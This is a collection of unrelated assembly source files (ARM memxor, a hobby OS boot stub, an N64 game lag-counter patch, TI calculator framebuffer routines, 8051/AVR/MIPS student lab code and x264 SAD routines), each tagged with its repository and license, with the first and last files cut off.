mov BP, r4
.Lmemxor3_au:
C NOTE: We have the relevant shift count in ACNT, not BCNT
C AP is aligned, BP is not
C v original SRC
C +-------+------+
C |SRC-4 |SRC |
C +---+---+------+
C |DST-4 |
C +-------+
C
C With little-endian, we need to do
C DST[i-i] ^= (SRC[i-i] >> CNT) ^ (SRC[i] << TNC)
rsb ATNC, ACNT, #32
bic BP, #3
ldr r4, [BP]
tst N, #4
itet eq
moveq r5, r4
subne N, #4
beq .Lmemxor3_au_odd
.Lmemxor3_au_loop:
ldr r5, [BP, #-4]!
ldr r6, [AP, #-4]!
eor r6, r6, r4, lsl ATNC
eor r6, r6, r5, lsr ACNT
str r6, [DST, #-4]!
.Lmemxor3_au_odd:
ldr r4, [BP, #-4]!
ldr r6, [AP, #-4]!
eor r6, r6, r5, lsl ATNC
eor r6, r6, r4, lsr ACNT
str r6, [DST, #-4]!
subs N, #8
bcs .Lmemxor3_au_loop
adds N, #8
beq .Lmemxor3_done
C Leftover bytes in r4, low end
ldr r5, [AP, #-4]
eor r4, r5, r4, lsl ATNC
.Lmemxor3_au_leftover:
C Store a byte at a time
ror r4, #24
strb r4, [DST, #-1]!
subs N, #1
beq .Lmemxor3_done
subs ACNT, #8
sub AP, #1
bne .Lmemxor3_au_leftover
b .Lmemxor3_bytes
.Lmemxor3_a_aligned:
ands ACNT, BP, #3
lsl ACNT, #3
bne .Lmemxor3_au ;
C a, b and dst all have the same alignment.
subs N, #8
bcc .Lmemxor3_aligned_word_end
C This loop runs at 8 cycles per iteration. It has been
C observed running at only 7 cycles, for this speed, the loop
C started at offset 0x2ac in the object file.
C FIXME: consider software pipelining, similarly to the memxor
C loop.
.Lmemxor3_aligned_word_loop:
ldmdb AP!, {r4,r5,r6}
ldmdb BP!, {r7,r8,r10}
subs N, #12
eor r4, r7
eor r5, r8
eor r6, r10
stmdb DST!, {r4, r5,r6}
bcs .Lmemxor3_aligned_word_loop
.Lmemxor3_aligned_word_end:
C We have 0-11 bytes left to do, and N holds number of bytes -12.
adds N, #4
bcc .Lmemxor3_aligned_lt_8
C Do 8 bytes more, leftover is in N
ldmdb AP!, {r4, r5}
ldmdb BP!, {r6, r7}
eor r4, r6
eor r5, r7
stmdb DST!, {r4,r5}
beq .Lmemxor3_done
b .Lmemxor3_bytes
.Lmemxor3_aligned_lt_8:
adds N, #4
bcc .Lmemxor3_aligned_lt_4
ldr r4, [AP,#-4]!
ldr r5, [BP,#-4]!
eor r4, r5
str r4, [DST,#-4]!
beq .Lmemxor3_done
b .Lmemxor3_bytes
.Lmemxor3_aligned_lt_4:
adds N, #4
beq .Lmemxor3_done
b .Lmemxor3_bytes
.Lmemxor3_uu:
cmp ACNT, BCNT
bic AP, #3
bic BP, #3
rsb ATNC, ACNT, #32
bne .Lmemxor3_uud
C AP and BP are unaligned in the same way
ldr r4, [AP]
ldr r6, [BP]
eor r4, r6
tst N, #4
itet eq
moveq r5, r4
subne N, #4
beq .Lmemxor3_uu_odd
.Lmemxor3_uu_loop:
ldr r5, [AP, #-4]!
ldr r6, [BP, #-4]!
eor r5, r6
lsl r4, ATNC
eor r4, r4, r5, lsr ACNT
str r4, [DST, #-4]!
.Lmemxor3_uu_odd:
ldr r4, [AP, #-4]!
ldr r6, [BP, #-4]!
eor r4, r6
lsl r5, ATNC
eor r5, r5, r4, lsr ACNT
str r5, [DST, #-4]!
subs N, #8
bcs .Lmemxor3_uu_loop
adds N, #8
beq .Lmemxor3_done
C Leftover bytes in a4, low end
ror r4, ACNT
.Lmemxor3_uu_leftover:
ror r4, #24
strb r4, [DST, #-1]!
subs N, #1
beq .Lmemxor3_done
subs ACNT, #8
bne .Lmemxor3_uu_leftover
b .Lmemxor3_bytes
.Lmemxor3_uud:
C Both AP and BP unaligned, and in different ways
rsb BTNC, BCNT, #32
ldr r4, [AP]
ldr r6, [BP]
tst N, #4
ittet eq
moveq r5, r4
moveq r7, r6
subne N, #4
beq .Lmemxor3_uud_odd
.Lmemxor3_uud_loop:
ldr r5, [AP, #-4]!
ldr r7, [BP, #-4]!
lsl r4, ATNC
eor r4, r4, r6, lsl BTNC
eor r4, r4, r5, lsr ACNT
eor r4, r4, r7, lsr BCNT
str r4, [DST, #-4]!
.Lmemxor3_uud_odd:
ldr r4, [AP, #-4]!
ldr r6, [BP, #-4]!
lsl r5, ATNC
eor r5, r5, r7, lsl BTNC
eor r5, r5, r4, lsr ACNT
eor r5, r5, r6, lsr BCNT
str r5, [DST, #-4]!
subs N, #8
bcs .Lmemxor3_uud_loop
adds N, #8
beq .Lmemxor3_done
C FIXME: More clever left-over handling? For now, just adjust pointers.
add AP, AP, ACNT, lsr #3
add BP, BP, BCNT, lsr #3
b .Lmemxor3_bytes
EPILOGUE(memxor3)
| GaloisInc/hacrypto | src/C/nettle/nettle-2.7.1/arm/memxor.asm | Assembly | bsd-3-clause | 9,215 |
VERSION_LARGE_NUM equ 1
VERSION_SMALL_NUM equ 0
bits 32
section .bss
;Creating a stack
align 16
stack_b:
resb 8196 ; 8Kb stack
stack_t:
section .text
global start
extern init_terminal
start:
mov esp, [stack_t]
;mov eax, 0x00b8000
;mov ebx, text_t
;mov ecx, text_b
;call write_to_screen
call init_terminal
hlt
jmp $
text_b:
; CynOS
dw 0x0343
dw 0x0379
dw 0x036e
dw 0x034f
dw 0x0353
; -
dw 0x0f20
dw 0x0f2d
dw 0x0f20
;VERSION NUM
dw 0x0f00 + (VERSION_LARGE_NUM + 0x30)
dw 0x0f2e
dw 0x0f00 + (VERSION_SMALL_NUM + 0x30)
times (80*25)-11 dw 0x0f20
text_t:
| TheCynosure/CynOS | boot/boot_cyno.asm | Assembly | mit | 675 |
// Super Smash Bros. lag frame counter demonstration
// Game mode must be set to time and time must not set to infinite (so the timer is displayed)
arch n64.cpu
endian msb
//output "", create
include "LIB/N64.inc"
include "LIB/macros.inc"
origin 0x0
insert "LIB/Super Smash Bros. (U) [!].z64"
origin 0x31BB8
base 0x80030FB8
jal Increment
origin 0x8E418
base 0x80112C18
j Calculate
nop
origin 0x33204
base 0x80032604
scope Increment: {
lui t0, 0x8003
lw t1, 0x2658 (t0)
addiu t1, 0x01 // Add 1 to interrupt counter
sw t1, 0x2658 (t0)
j 0x800311a4
nop
}
scope Calculate: {
lui t0,0x8003
lw t1, 0x2658 (t0) // Read current value
lw t2, 0x265C (t0) // Read previous value
sw t1, 0x265C (t0) // Copy current value to previous value
beq t1, t2, End
lw t3, 0x2660 (t0) // Load sum
subu t4, t1, t2 // Calculate difference between previous and current
addu t3, t4
addiu t3, -0x01 // Expect 1 frame difference
sw t3, 0x2660 (t0) // Save sum
lui t7, 0x800A // Original instructions
lw t7, 0x50E8 (t7)
End:
j 0x80112C20
ori v0, t3, r0
}
// Divide
origin 0xAA738
base 0x8012EF38
dh 0x03E8 // 1000
dh 0x0064 // 100
dh 0x000A // 10
dh 0x0001 // 1
origin 0x8E548
base 0x80112D48
or t0, v0, r0
// Load sum instead of timer
origin 0x8E42C
base 0x80112C2C
nop
| abitalive/SuperSmashBros | Patches/lag_frame_counter.asm | Assembly | mit | 1,298 |
; Virtual-3D library, version 1.0
;
; MIT License
;
; Copyright (c) 2017 - 2021 TheMachine02
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
; copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in all
; copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
; SOFTWARE.
define VX_SCREEN_WIDTH 320
define VX_SCREEN_HEIGHT 240
define VX_SCREEN_WIDTH_CENTER VX_SCREEN_WIDTH shr 1
define VX_SCREEN_HEIGHT_CENTER VX_SCREEN_HEIGHT shr 1
; TODO : allow settings width and height when allocating the framebuffer
define VX_FRAMEBUFFER $D40000
define VX_FRAMEBUFFER_AUX0 $D40000 ; VRAM buffer
define VX_FRAMEBUFFER_AUX1 $D52C00
define VX_FRAMEBUFFER_SIZE $12C00
define VX_VRAM $E30800
define VX_BPP8 ti.lcdBpp8 ; LCD 8 bpp mode bits
define VX_BPP16 ti.lcdBpp16 ; LCD 16 bpp mode bits
define VX_LCD_CTRL ti.mpLcdCtrl ; LCD control port
define VX_LCD_IMSC $E3001C ; LCD Interrupt Mask Register
define VX_LCD_ICR $E30028 ; LCD Interrupt Clear/Set Register
define VX_LCD_ISR $E30020 ; LCD Interrupt Status Register
define VX_LCD_BUFFER $E30010 ; base adress of LCD
define VX_LCD_PALETTE ti.mpLcdPalette ; palette (r3g3b2)
define VX_LCD_TIMING $E30000
define VX_GREEN_BITS 00000111b
define VX_RED_BITS 11100000b
define VX_BLUE_BITS 00011000b
define vxFramebuffer $E30014
define vxFrontbuffer $E30010
; w x h x option
VX_LCD_SETTING:
db 0, 0, 0
vxFramebufferSetup:
ld hl, VX_LCD_IMSC
set 2, (hl)
ld l, VX_LCD_ICR and $FF
ld (hl), $FF
; setup 8bpp mode
ld l, VX_LCD_CTRL and $FF
ld (hl), VX_BPP8
; load vram buffer
ld l, VX_LCD_BUFFER and $FF
ld bc, VX_FRAMEBUFFER_AUX0
ld (hl), bc
call vxFramebufferAllocate
; setup LCD timings
; assume c is 0
; .swapTiming:
; ld l, (VX_LCD_TIMING+1) and $FF
; ld de, VX_LCD_TIMING_CACHE
; ex de, hl
; ld b, 8 + 1
; .swapLoop: ; exchange stored and active timing
; ld a,(de)
; ldi
; dec hl
; ld (hl),a
; inc hl
; djnz .swapLoop
; ; continue
vxFramebufferResetPalette:
; load palette :
; color is 3-3-2 format, RGB
; calculate 1555 format color
ld hl,VX_LCD_PALETTE ; palette mem
ld b, 0
.resetLoop: ; this loop is from wikiti
ld d, b
ld a, b
and a, 11000000b
srl d
rra
ld e, a
ld a, 00011111b
and a, b
or a, e
ld (hl), a
inc hl
ld (hl), d
inc hl
inc b
jr nz, .resetLoop
ret
vxFramebufferRestore:
; restore timings and other
ld hl, VX_LCD_IMSC
res 2, (hl)
ld l, VX_LCD_ICR and $FF
ld (hl), $FF
ld l, VX_LCD_CTRL and $FF
ld (hl), VX_BPP16
ld bc, VX_FRAMEBUFFER_AUX0
ld l, VX_LCD_BUFFER and $FF
ld (hl), bc
; c is 0 here
; jr vxFramebufferSetup.swapTiming
ret
vxFramebufferSetPalette:
; set the framebuffer palette
; input : hl
ld de, VX_LCD_PALETTE
ld bc, 512
ldir
ret
vxFramebufferAllocate:
; setup buffer of correct resolution
; 160x120 : we need one buffer for rendering, one buffer for DMA with screen
; 320x240 : two buffer, one back buffer, one front buffer
ld hl, VX_FRAMEBUFFER_AUX0
ld (VX_LCD_BUFFER), hl
ld hl, VX_FRAMEBUFFER_AUX1
ld (vxFramebuffer), hl
ret
vxFramebufferSwap:
; wait for the possibility to swap base pointer ?
ld hl, (VX_LCD_BUFFER)
ld de, (vxFramebuffer)
ld (vxFramebuffer), hl
ld (VX_LCD_BUFFER), de
vxFramebufferVsync:
ld hl, VX_LCD_ISR
.waitVcomp:
bit 2, (hl)
jr z, .waitVcomp
; wait until the LCD finish displaying the frame
ld l, VX_LCD_ICR and $FF
set 2, (hl)
ret
vxFramebufferClearColor:
cce fb_ops
ld ix, (vxFramebuffer)
ld de, 76800
add ix, de
sbc hl, hl
add hl, sp ; saves SP in HL
ld b, c ; c=color
push bc
dec sp
pop de
ld e,d
jr vxFramebufferClear.entry
vxFramebufferClear:
cce fb_ops
ld ix, (vxFramebuffer)
ld de, 76800
add ix, de
sbc hl, hl
add hl, sp ; saves SP in HL
mlt de ; then de=0
.entry:
ld b, 213
ld sp, ix
di
.loop:
db 120 dup $D5
djnz .loop
db 40 dup $D5
ld sp, hl
ccr fb_ops
ret
vxFramebufferScale2x:
cce fb_ops
call vxFramebufferVsync
ld hl, (vxFramebuffer)
ld de, (VX_LCD_BUFFER)
ld bc, 120
ld a, c
.outerWriteVram:
push af
ld c, 160
push de
.innerWriteVram:
ld a, (hl)
ldi
ld (de), a
inc de
ld a, (hl)
ldi
ld (de), a
inc de
ld a, (hl)
ldi
ld (de), a
inc de
ld a, (hl)
ldi
ld (de), a
inc de
jp pe, .innerWriteVram
; copy the line just writed
ex (sp), hl
ld c, 64
inc b
ldir
pop hl
ld c, 160
add hl, bc
pop af
dec a
jr nz, .outerWriteVram
ccr fb_ops
ret
; VX_LCD_TIMING_CACHE:
; ; db 14 shl 2 ; PPL shl 2
; db 7 ; HSW
; db 87 ; HFP
; db 63 ; HBP
; dw (0 shl 10)+319 ; (VSW shl 10)+LPP
; db 179 ; VFP
; db 0 ; VBP
; db (0 shl 6)+(0 shl 5)+0 ; (ACB shl 6)+(CLKSEL shl 5)+PCD_LO
; H = ((PPL+1)*16)+(HSW+1)+(HFP+1)+(HBP+1) = 240+8+88+64 = 400
; V = (LPP+1)+(VSW+1)+VFP+VBP = 320+1+179+0 = 500
; CC = H*V*PCD*2 = 400*500*2*2 = 800000
; Hz = 48000000/CC = 60
| TheMachine02/Virtual3D | lib/framebuffer.asm | Assembly | mit | 5,912 |
;-------------------------------------------------------------------
; Praktikum SMD 2015
; M.Wahyudin (140310120031)
;
; Name : LATIH22.ASM (PROG1B)
; Desc : Menggunakan timer 0 di mode 0
; Input : P3.4 masukkan pencacah
; Output: 7Seg(P1)
;-------------------------------------------------------------------
setb T0 ;menyiapkan T0 sebagai masukkan
mov Tmod,#84h ;mengonfigurasi timer 0 mode 0
setb TR0 ;menyalakan timer
mov b,#0 ;nilai cacahan awal
mov a,b ;mengisi a dengan cacahan awal
lcall display ;mengambil pola tampilan
mov p1,a ;menampilkan digit
mov a,b ;mengambil nilai cacahan lagi
loop:
mov a,TL0 ;mengambil nilai cacahan
anl a,#0Fh ;modulus 0fh
xrl a,b ;membandingkan dengan cacahan skrg
jz loop ;ulang jika sama
inc b ;jika tak sama naikan cacahan
anl b,#0Fh ;modulus 0Fh
mov a,b ;isi a dengan nilai cacahan
lcall display ;mengambil pola tampilan
mov p1,a ;menampilkan digit
mov a,b ;mengambil nilai cacahan skrg
sjmp loop
display:
inc a
movc a,@a+pc
ret
db 3fh ;0
db 06h ;1
db 5bh ;2
db 4fh ;3
db 66h ;4
db 6dh ;5
db 7dh ;6
db 07h ;7
db 7fh ;8
db 67h ;9
db 77h ;a
db 7ch ;b
db 39h ;c
db 5eh ;d
db 79h ;e
db 71h ;f
end
| hyuwah/fu-praktikum-smd | Modul 5/prog1b.asm | Assembly | mit | 1,316 |
; animated logo
; using b&w bitshifters frame by @horsenburger for Bad Apple
\\ Letter positions (columns)
\\ b [2-4]
\\ i [5-6]
\\ t [7-10]
\\ s [11-13]
\\ h [14-17]
\\ i [18-19]
\\ f [20-22]
\\ t [23-26]
\\ e [27-30]
\\ r [31-33]
\\ s [34-36]
\\ Ascender/descender positions (columns)
\\ b [2-3] up - 0x20, 0x6a
\\ t [8-9] up - 0x20, 0x6a
\\ h [14-15] up - 0x35, 0x20
\\ t [24-25] up - 0x35, 0x20
\\ i [5-6] down - 0x35, 0x20
\\ h [17] down - 0x6a, 0x00
\\ i [18-19] down - 0x20, 0x6a
\\ f [20-21] down - 0x35, 0x20
\\ r [31-32] down - 0x20, 0x6a
\\ Main logo is 5x rows, so centred at (0,10) with 10 rows above & below
\\ Ideally want to be able to set each ascender/descender to 0-30 sixels independently
\\ So can animate over time. Could also animate the logo
.start_fx_logoanim
LOGOANIM_shadow_addr = MODE7_VRAM_SHADOW
LOGOANIM_draw_addr = LOGOANIM_shadow_addr + 10 * MODE7_char_width
LOGOANIM_logo_rows = 5
LOGOANIM_logo_size = LOGOANIM_logo_rows * MODE7_char_width
LOGOANIM_draw_end = LOGOANIM_draw_addr + LOGOANIM_logo_size
LOGOANIM_num_columns = 9
LOGOANIM_num_sixel_rows = 30
LOGOANIM_num_char_rows = 10
MODE7_solid_block = &7F
\ ******************************************************************
\ * Runtime vars
\ ******************************************************************
.fx_logoanim_ypos
EQUB 30, 25, 20, 15, 10, 15, 20, 25, 30
.fx_logoanim_dir
EQUB -1, -1, -1, -1, -1, -1, -1, -1, -1
.fx_logoanim_first_byte EQUB 0
.fx_logoanim_second_byte EQUB 0
.fx_logoanim_num_rows EQUB 0
.fx_logoanim_sixel_mask EQUB 0
.fx_logoanim_row_step EQUW 0
\ ******************************************************************
\ * Code
\ ******************************************************************
.fx_logoanim_init
{
\\ Clear screen to solid blocks
LDA #&7F
JSR mode7_clear_shadow_fast
\\ Set graphics white
lda #144+7
JSR mode7_set_graphics_shadow_fast
\\ Copy logo in place
LDX #LOGOANIM_logo_size-1
.loop
LDA fx_logoanim_data, X
STA LOGOANIM_draw_addr, X
DEX
BNE loop
LDA fx_logoanim_data, X
STA LOGOANIM_draw_addr, X
\\ Annoyingly blank right edge for symmetry
LDA #32
LDX #39
JSR mode7_set_column_shadow_fast
.return
RTS
}
.fx_logoanim_update
{
\\ Update our y positions (could be more interesting than this)
LDX #0
.loop
CLC
LDA fx_logoanim_ypos, X
ADC fx_logoanim_dir, X
BMI clip_low
; clip hi
CMP #LOGOANIM_num_sixel_rows ; max
BCC ok
CLC
LDA fx_logoanim_dir, X
EOR #&FF
ADC #1
STA fx_logoanim_dir, X
LDA #LOGOANIM_num_sixel_rows
BNE ok
.clip_low
CLC
LDA fx_logoanim_dir, X
EOR #&FF
ADC #1
STA fx_logoanim_dir, X
LDA #0
.ok
STA fx_logoanim_ypos, X
INX
CPX #LOGOANIM_num_columns
BNE loop
\\ Update our screen
JSR fx_logoanim_draw
.return
RTS
}
.fx_logoanim_draw
{
\\ Top columns drawn top down
LDA #LO(MODE7_char_width)
STA fx_logoanim_row_step
LDA #HI(MODE7_char_width)
STA fx_logoanim_row_step+1
\\ First 4 are top
LDX #0
.top_loop
LDA fx_logoanim_addr_LO, X
STA writeptr
LDA fx_logoanim_addr_HI, X
STA writeptr+1
LDA fx_logoanim_first_bytes, X
STA fx_logoanim_first_byte
LDA fx_logoanim_second_bytes, X
STA fx_logoanim_second_byte
LDY fx_logoanim_ypos, X
LDA mode7_sprites_div3_table, Y
STA fx_logoanim_num_rows
LDA mode7_sprites_mod3_table, Y
LSR A:TAY ; this table is shifted
LDA fx_logoanim_sixel_mask_top, Y ; need to switch this
STA fx_logoanim_sixel_mask
STX top_loop_index+1
JSR fx_logoanim_draw_col
.top_loop_index
LDX #0
INX
CPX #4
BCC top_loop
\\ Bottom columns drawn bottom up
LDA #LO(0-MODE7_char_width)
STA fx_logoanim_row_step
LDA #HI(0-MODE7_char_width)
STA fx_logoanim_row_step+1
\\ Last 5 are bottom
.bottom_loop
LDA fx_logoanim_addr_LO, X
STA writeptr
LDA fx_logoanim_addr_HI, X
STA writeptr+1
LDA fx_logoanim_first_bytes, X
STA fx_logoanim_first_byte
LDA fx_logoanim_second_bytes, X
STA fx_logoanim_second_byte
LDY fx_logoanim_ypos, X
LDA mode7_sprites_div3_table, Y
STA fx_logoanim_num_rows
LDA mode7_sprites_mod3_table, Y
LSR A:TAY ; this table is shifted
LDA fx_logoanim_sixel_mask_bot, Y ; need to switch this
STA fx_logoanim_sixel_mask
STX bot_loop_index+1
JSR fx_logoanim_draw_col
.bot_loop_index
LDX #0
INX
CPX #LOGOANIM_num_columns
BCC bottom_loop
.return
RTS
}
.fx_logoanim_draw_col
{
LDX #0
LDY #0
\\ Draw N solid blocks
.solid_loop
CPX fx_logoanim_num_rows
BCS done_solid_loop
LDA #MODE7_solid_block
STA (writeptr), Y
LDA fx_logoanim_second_byte
BEQ skip_solid
ORA #MODE7_solid_block
INY
STA (writeptr), Y
DEY
.skip_solid
INX
\\ Next character row
CLC
LDA writeptr
ADC fx_logoanim_row_step
STA writeptr
LDA writeptr+1
ADC fx_logoanim_row_step+1
STA writeptr+1
BNE solid_loop
.done_solid_loop
\\ Middle bit!
CPX #LOGOANIM_num_char_rows
BCS done_middle_bit
LDA fx_logoanim_sixel_mask
BEQ done_middle_bit ; no sixel mask needed
\\ Mask draw byte against sixel mask for row
ORA fx_logoanim_first_byte
STA (writeptr), Y
\\ Is there a second byte?
LDA fx_logoanim_second_byte
BEQ skip_middle
\\ Mask this as well
ORA fx_logoanim_sixel_mask
INY
STA (writeptr), Y
DEY
.skip_middle
INX
\\ Next character row
CLC
LDA writeptr
ADC fx_logoanim_row_step
STA writeptr
LDA writeptr+1
ADC fx_logoanim_row_step+1
STA writeptr+1
.done_middle_bit
\\ Draw 10-N bytes
.byte_loop
CPX #LOGOANIM_num_char_rows
BCS done_byte_loop
LDA fx_logoanim_first_byte
STA (writeptr), Y
LDA fx_logoanim_second_byte
BEQ skip_write
INY
STA (writeptr), Y
DEY
.skip_write
INX
\\ Next character row
CLC
LDA writeptr
ADC fx_logoanim_row_step
STA writeptr
LDA writeptr+1
ADC fx_logoanim_row_step+1
STA writeptr+1
BNE byte_loop
.done_byte_loop
.return
RTS
}
\ ******************************************************************
\ * Look up tables
\ ******************************************************************
.fx_logoanim_sixel_mask_top
EQUB &0, 1+2, 1+2+4+8
.fx_logoanim_sixel_mask_bot
EQUB &0, 16+64, 16+64+4+8
.fx_logoanim_addr_LO
EQUB LO(LOGOANIM_shadow_addr + 2)
EQUB LO(LOGOANIM_shadow_addr + 8)
EQUB LO(LOGOANIM_shadow_addr + 14)
EQUB LO(LOGOANIM_shadow_addr + 24)
EQUB LO(LOGOANIM_shadow_addr + 5 + 24 * MODE7_char_width)
EQUB LO(LOGOANIM_shadow_addr + 17 + 24 * MODE7_char_width)
EQUB LO(LOGOANIM_shadow_addr + 18 + 24 * MODE7_char_width)
EQUB LO(LOGOANIM_shadow_addr + 20 + 24 * MODE7_char_width)
EQUB LO(LOGOANIM_shadow_addr + 31 + 24 * MODE7_char_width)
.fx_logoanim_addr_HI
EQUB HI(LOGOANIM_shadow_addr + 2)
EQUB HI(LOGOANIM_shadow_addr + 8)
EQUB HI(LOGOANIM_shadow_addr + 14)
EQUB HI(LOGOANIM_shadow_addr + 24)
EQUB HI(LOGOANIM_shadow_addr + 5 + 24 * MODE7_char_width)
EQUB HI(LOGOANIM_shadow_addr + 17 + 24 * MODE7_char_width)
EQUB HI(LOGOANIM_shadow_addr + 18 + 24 * MODE7_char_width)
EQUB HI(LOGOANIM_shadow_addr + 20 + 24 * MODE7_char_width)
EQUB HI(LOGOANIM_shadow_addr + 31 + 24 * MODE7_char_width)
.fx_logoanim_first_bytes
EQUB &20, &20, &35, &35, &35, &6A, &20, &35, &20
.fx_logoanim_second_bytes
EQUB &6A, &6A, &20, &20, &20, &00, &6A, &20, &6A
\ ******************************************************************
\ * Sprite data
\ ******************************************************************
.fx_logoanim_data
INCBIN "data/pages/bslogo/bslogo.txt.bin" ; actually just 5x rows
.end_fx_logoanim
| bitshifters/teletextr | src/fx/logoanim.asm | Assembly | mit | 7,343 |
; lab 08
/* Part A */
/* Activity 1 */
;initialize the stack pointer at the TOS
.org 0x00
ldi r16, high(ramend)
out sph, r16
ldi r16, low(ramend)
out spl, r16
; data direction register B set input for Port B
ldi r16, 0x00
out ddrb, r16
; setting Port D as output
ldi r16, 0xFF
out ddrd, r16
; if bit 1 of pinb is high, SW1 is on,
; then, LEDS are all blinking every 1 second
; skip if its cleared (low or 0)
sbic pinb, 0
call case1
; if bit 2 of pinb is high, SW2 is on,
; then LEDs are light on like stairway
; skip if its cleared (low or 0)
sbic pinb, 1
call case2
; if bit 3 of pinb is high, SW3 is on,
; then LEDS are rolling up and down
; skip if its cleared (low or 0)
sbic pinb, 2
call case3
; if bit 4 of pinb is high, SW4 is on,
; then odd sequence LEDs are on every 2 seconds
; skip if its cleared (low or 0)
sbic pinb, 3
call case4
; if bit 5 of pinb is high, SW5 is on,
; then even sequence LEDs are on every 2 seconds
; skip if its cleared (low or 0)
sbic pinb, 4
call case5
; if bit 6 of pinb is high, SW6 is on,
; then no operation required
; skip if its cleared (low or 0)
sbic pinb, 5
; if bit 7 of pinb is high, SW7 is on,
; then no operation required
; skip if its cleared (low or 0)
sbic pinb, 6
; if bit 8 of pinb is high, SW8 is on,
; then no operation required
; skip if its cleared (low or 0)
sbic pinb, 7
;blink leds every 1 second
case1:
ldi r16, 0xff
out PORTD, R16 ; turn all leds on
call DELAY_1S ; do this for one second
ldi r16, 0x00
out PORTD, R16 ; turn all leds off
call DELAY_1S ; do this for one second
ret
; stairway the LEDs
case2:
ldi r16, 0x00
out portd, r16 ; 0000 0000
;call delay_1s
ldi r16, 0x01
out portd, r16 ; 0000 000X
;call delay_1s
ldi r16, 0x03
out portd, r16 ; 0000 00XX
;call delay_1s
ldi r16, 0x07
out portd, r16 ; 0000 0XXX
;call delay_1s
ldi r16, 0x0F
out portd, r16 ; 0000 XXXX
;call delay_1s
ldi r16, 0x1F
out portd, r16 ; 000X XXXX
;call delay_1s
ret
; roll up and down the LEDs
case3:
; rol the leds! (from previous code)
ret
; odd sequence on every 2 seconds
case4:
; 2*n + 1 = odd
ret
; even sequence on every 2 seconds
DELAY_1S: ; Label for delay function
.equ COUNT = 9999 ; Each unit represents 0.5us for 8MHz clock
.equ PRESCALER = 200 ; Multiplies the counter
ldi r23, PRESCALER ; r23 off time count
L1:
ldi r24, COUNT%256 ; r24 off time count
ldi r25, COUNT/256 ; r25 off time count
L2:
subi r24, 1 ; Decrement off time count
sbci r25, 0 ; Upper byte
brne L2 ; Loop until zero
dec r23 ; Decrement number of repeats
brne L1 ; Loop until zero
ret ; Finish delay and return--
| audihurrr/micro | lab08_partA_activity1.asm | Assembly | mit | 2,701 |
.text
.globl partition
# Setup the left address, right address, and pivot stuff
partition:
addi $sp, $sp, -12
sw $a0, 0($sp) #left
sw $a1, 4($sp) #right
sw $ra, 8($sp) #return
addi $a1, $a1, -1
addi $t0, $a0, -1 #left address
addi $t1, $a1, 1 #right address
addi $t2, $a1, -1 #pivot address
lw $t2, 0($t2)
jal partmain
lw $a0, 0($ra)
lw $a1, 4($ra)
lw $ra, 8($sp)
addi $sp, $sp, 12
jr $ra
# while (left < right) repeat partition cycle
partmain:
addi $sp, $sp, -4
sw $ra, 8($sp)
j whileg
j whilel
j ifl
blt $t0, $t1, partmain
lw $ra, 8($sp)
addi $sp, $sp, 4
jr $ra
# while (array[right] > pivot) repeat whileg
whileg:
addi $t1, $t1, -1
lw $t4, 0($t1)
bgt $t4, $t3, whileg
jr $ra
# while (left < right and array[left] <= pivot) repeat whilel
whilel:
addi $t0, $t0, 1
lw $t4, 0($t0)
slt $t5, $t0, $t1 #(left < right), 0 = false
sgt $t6, $t3, $t4 #(array[left] <= pivot), 1 = false
bne $t5, $t6, whilel
jr $ra
# if (left < right) then swap left and right addresses
ifl:
add $a0, $zero, $t0
add $a1, $zero, $t1
j swap
jr $ra | vonderborch/CS260 | HW5/ChristianWebber-HW5-2.asm | Assembly | mit | 1,084 |
0D00 16 7D
0D02 1E 7E
0D04 21 00 0E
0D07 46
0D08 23
0D09 4E
0D0A 23
0D0B 72
0D0C 23
0D0D 73
0D0E 76
0E00 B1
0E01 C1
0E02 00
0E03 00
| colinw7/CZ80 | data/mcp/asm/prog_06_01.asm | Assembly | mit | 133 |
;*****************************************************************************
;* sad-a.asm: h264 encoder library
;*****************************************************************************
;* Copyright (C) 2003-2008 x264 project
;*
;* Authors: Loren Merritt <lorenm@u.washington.edu>
;* Jason Garrett-Glaser <darkshikari@gmail.com>
;* Laurent Aimar <fenrir@via.ecp.fr>
;* Alex Izvorski <aizvorksi@gmail.com>
;*
;* This program is free software; you can redistribute it and/or modify
;* it under the terms of the GNU General Public License as published by
;* the Free Software Foundation; either version 2 of the License, or
;* (at your option) any later version.
;*
;* This program is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;* GNU General Public License for more details.
;*
;* You should have received a copy of the GNU General Public License
;* along with this program; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA.
;*****************************************************************************
%include "x86inc.asm"
%include "x86util.asm"
SECTION_RODATA
pb_3: times 16 db 3
pb_shuf8x8c: db 0,0,0,0,2,2,2,2,4,4,4,4,6,6,6,6
pw_8: times 4 dw 8
sw_64: dd 64
SECTION .text
;=============================================================================
; SAD MMX
;=============================================================================
%macro SAD_INC_2x16P 0
movq mm1, [r0]
movq mm2, [r0+8]
movq mm3, [r0+r1]
movq mm4, [r0+r1+8]
psadbw mm1, [r2]
psadbw mm2, [r2+8]
psadbw mm3, [r2+r3]
psadbw mm4, [r2+r3+8]
lea r0, [r0+2*r1]
paddw mm1, mm2
paddw mm3, mm4
lea r2, [r2+2*r3]
paddw mm0, mm1
paddw mm0, mm3
%endmacro
%macro SAD_INC_2x8P 0
movq mm1, [r0]
movq mm2, [r0+r1]
psadbw mm1, [r2]
psadbw mm2, [r2+r3]
lea r0, [r0+2*r1]
paddw mm0, mm1
paddw mm0, mm2
lea r2, [r2+2*r3]
%endmacro
%macro SAD_INC_2x4P 0
movd mm1, [r0]
movd mm2, [r2]
punpckldq mm1, [r0+r1]
punpckldq mm2, [r2+r3]
psadbw mm1, mm2
